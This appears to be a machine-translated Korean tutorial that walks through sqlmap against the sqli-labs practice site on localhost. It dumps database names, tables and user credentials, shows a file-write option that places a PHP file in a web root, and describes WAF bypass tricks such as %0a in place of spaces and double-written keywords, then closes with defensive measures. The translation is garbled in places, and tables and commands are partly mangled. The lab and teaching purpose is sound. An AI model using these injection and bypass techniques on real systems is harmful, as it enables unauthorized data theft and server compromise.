1. SQL 주입에 대한 몇 가지 기본 설명을 언급했지만 수동 주입은 강력한 SQL 주입 도구인 sqlmap을 사용하여 데이터를 얻을 수 있습니다.
2 .sqlmap 소개
(1)#sqlmap은 데이터베이스에 연결된 서버와 SQL 주입 취약점을 자동으로 탐지하고 악용할 수 있는 오픈 소스 침투 테스트 도구입니다. 매우 강력한 탐지 엔진, 다양한 기능을 갖춘 침투 테스터, 데이터베이스 지문 인식 및 대역 외 연결을 통한 명령 실행을 통한 기본 파일 시스템에 대한 액세스 기능을 갖추고 있습니다.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase 및 SAP MAXDB.
#오류 기반 SQL 주입(오류 보고 주입)
#부울 기반 블라인드 SQL 주입(부울 주입)
#시간 기반 블라인드 SQL 주입(시간 지연 주입 기반)
#스택 쿼리 SQL 주입(다중 문 쿼리 주입)
python을 입력합니다.다음 메시지가 나타나면 설치가 성공한 것입니다.
C:UsersAdministrator>python
Python 2.7.16 (v2.7.16 :413a49145e, 2019년 3월 4일, 01:37:19) win32의 [MSC v.1500 64비트(AMD64)] 자세한 내용을 보려면 "help", "copyright", "credits" 또는 "license"를 입력하세요.
sqlmap.py -h #도움말 보기 information
1.3 sqlmap 공통 매개변수#(1) 라이브러리 이름 및 열 이름 가져오기 ,Permissions
권한 모든 사용자가 포함된 테이블에 대한 읽기 권한을 사용하면 모든 관리 사용자를 나열할 수 있습니다.
#(2) 접미사 및 접미사 지정:
#sqlmap은 많은 간섭 문자를 감지할 수 없습니다. 닫을 때 접두사와 접미사를 수동으로 지정할 수 있습니다.
id=((('1'))) 및 1=1
#인 사용자에서 *를 선택하세요. - -prefix=PREFIX 페이로드 문자열 접두사 삽입
#–suffix=SUFFIX 페이로드 문자열 접미사 삽입
예: sqlmap -u “www.target.com/index.php?id=1” -p id -- 접두사 "'))"
--접미사 "AND ('1'='1"
#(3) 결과 내보내기:
sqlmap -u "www.a.com/1.php ? id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one.php”
--배치 완전 자동
--start=시작 번호--stop=끝 번호
--dump 데이터 내보내기
--dump-all 모든 데이터 내보내기
--purge-output/ -- purge 캐시 디렉터리 지우기
--sql-shell SQL 쿼리 분석기와 유사한 sqlshell 리바운드 기본 경로.sqlmap(sqlmap 클릭)
#Less-1--Less65 일반 명령문(이것들은 문장은 가장 일반적으로 사용되는 매개 변수이므로 이해해야 합니다)
#(1) 모든 라이브러리 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1?id =1" --dbs --dbms=mysql --batch
# 분석:
-u 뒤에 url이 있으면 테스트 url을 의미합니다
--dbs는 모든 데이터베이스를 가져오는 것을 의미합니다
-- dbms는 지정된 데이터베이스 유형은 mysql
--batch는 자동으로 가져오는 것을 의미합니다.
-D security --tables는 지정된 데이터베이스의 테이블 이름을 보안으로 가져오는 것을 의미합니다.
-D security -T users --columns는 지정된 데이터베이스의 테이블 이름을 가져오는 것을 의미합니다. 데이터베이스를 보안으로 사용자 테이블의 열 이름
-D security -T users -C 사용자 이름, 비밀번호 --dump # 보안 라이브러리, 사용자 테이블에 있는 사용자 이름 및 비밀번호 필드의 데이터 정보를 가져옵니다. --dump는 results
#결과:
[*] Challenge
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*]performance_schema
[*] security
[*] test
#(2) 현재 라이브러리 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
# 결과:
현재 데이터베이스: ' security'
#(3) 현재 테이블 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1 " -D security --tables -- 배치
#결과:
데이터베이스: security
[4 테이블]
+----------+
| 이메일 |
| 추천자 |
| uagents |
| users |
+-- --------+
#(4) 현재 열 이름 가져오기
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/ sqli/Less-1?id=1" -D security -T users --columns --batch
#Result:
Database: security
Table: users
[3열]
+------ ----+------ --------+
| 열 유형 |
+----------+------------ -+
| 아이디 | int(3) |
| 사용자 이름 | varchar(20) |
+--------- -----+
# (5) 사용자 테이블에서 사용자 이름과 비밀번호 내용을 가져옵니다. C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D 보안 -T 사용자 -C 사용자 이름, 비밀번호 --dump --batch
#결과:데이터베이스: security
테이블: users
[13개 항목]
+--------- -+---------- --+
| 사용자 이름 |
+----------+------------+
| |
| 안젤리나 | 멍청해 |
| 멍청해 |
| | 관리자 |
| 관리자1 |
| 관리자3 |
| 관리자4 |
--------+
번째 2부: sqli 주입을 위한 WAF 우회
2.1 SQL 주입을 위한 WAF 우회 방법 소개
참고: 다음은 우회 방법의 예일 뿐이며 실제 시나리오는 더 복잡합니다. .여러 가지 우회 방법을 혼합하여 사용할 수 있습니다.
#(1) 필터 주석
#(2) Filter and or or#(3) Filter select or Union
#(2) mysql은 16진수 또는 URL 인코딩을 지원합니다.
#(3) 단어를 기호로 대체 ===> 기호 우회 및(&&) 또는(| |)
# (4) 인라인 주석 및 여러 줄 주석 ===> 주석 추가 a/**/nd 이중 쓰기 우회 oORr
3. 물론 다른 방법도 있습니다. 이러한 필터링 방법을 예로 들어 우회 방법에 대해 이야기하겠습니다.
실제 장면에는 waf 장치가 있으며 실제로 waf는 일부 키워드로 필터링됩니다.
1. 필터링된 주석 문자(예: 23 이하)
#(1) 주석 문자 필터링 이유: 일반 SQL의 경우 명령문에서 주석 문자는 다음과 같습니다. 설명하는 역할을 합니다. 그러나 SQL 인젝션 취약점을 악용하는 과정에서 주석 문자는 닫는 작은따옴표, 여러 개의 작은따옴표, 큰따옴표, 단일괄호, 다중괄호 역할을 한다.
한 줄 주석: --+ 또는 --space 또는 #
여러 줄 주석: /* 여러 줄 주석 내용*/
#(2) 필터 기능 preg_replace
preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : 정규식 검색 및 바꾸기를 수행합니다.
$pattern: 검색할 패턴으로 문자열 또는 문자열 배열일 수 있습니다.
$replacement: 대체에 사용되는 문자열 또는 문자열 배열입니다.
$subject: 검색하고 바꿀 대상 문자열 또는 문자열 배열입니다.
#(3) 주석 문자 우회:
주석 문자를 사용하여 필터링하면 작은 따옴표 등을 성공적으로 닫을 수 없습니다. 아이디어를 변경하고 또는 '1'='1을 사용하여 작은 따옴표 등을 닫습니다.
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
2. 필터링 후 우회하는 방법. 통과되었나요?(예: 25개 미만)
(1) 소스 코드 분석: or 또는 and가 비어 있는
(2) 작업 단계
3. 필터링된 공백은 우회하는 방법(예: 26 미만)이어야 합니다.
(1) %0a를 공백으로 사용
4. 선택/결합 필터링을 우회하는 방법(예: 27 미만) )
1. 일반적인 보호 조치:
#(1), 오류 프롬프트 끄기: PHP에서 display_errors= 구성 파일 php.ini Off
#(2), 매직 따옴표(addlashes와 동일한 효과): php.ini에서 Magic_quotes_gpc=On인 경우. 제출된 변수의 모든 작은따옴표('), 큰따옴표("), 백슬래시() 및 NUL(NULL 문자)은 자동으로 백슬래시
#(3)을 포함하는 이스케이프 문자로 변환되고 데이터가 처리됩니다. 예를 들어 and/or/union
#(4)과 같은 일반적인 키워드를 필터링하고 데이터베이스에 연결하기 위한 사용자 권한을 제어합니다. 각 라이브러리는 단일 라이브러리에 대한 관리자를 설정하며 루트 권한을 사용하지 않습니다.
#(5), 사전 처리 및 매개변수화(PDO): 단순히 데이터를 "연결"하는 대신 사용자가 전달한 매개변수를 처리하고 부울 값을 반환하여 SQL 주입을 방지합니다.
#(6), 하드웨어 보호 조치(WAF 및 기타 하드웨어)
위 내용은 SQLMap 및 SQLi 주입 방어 분석 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!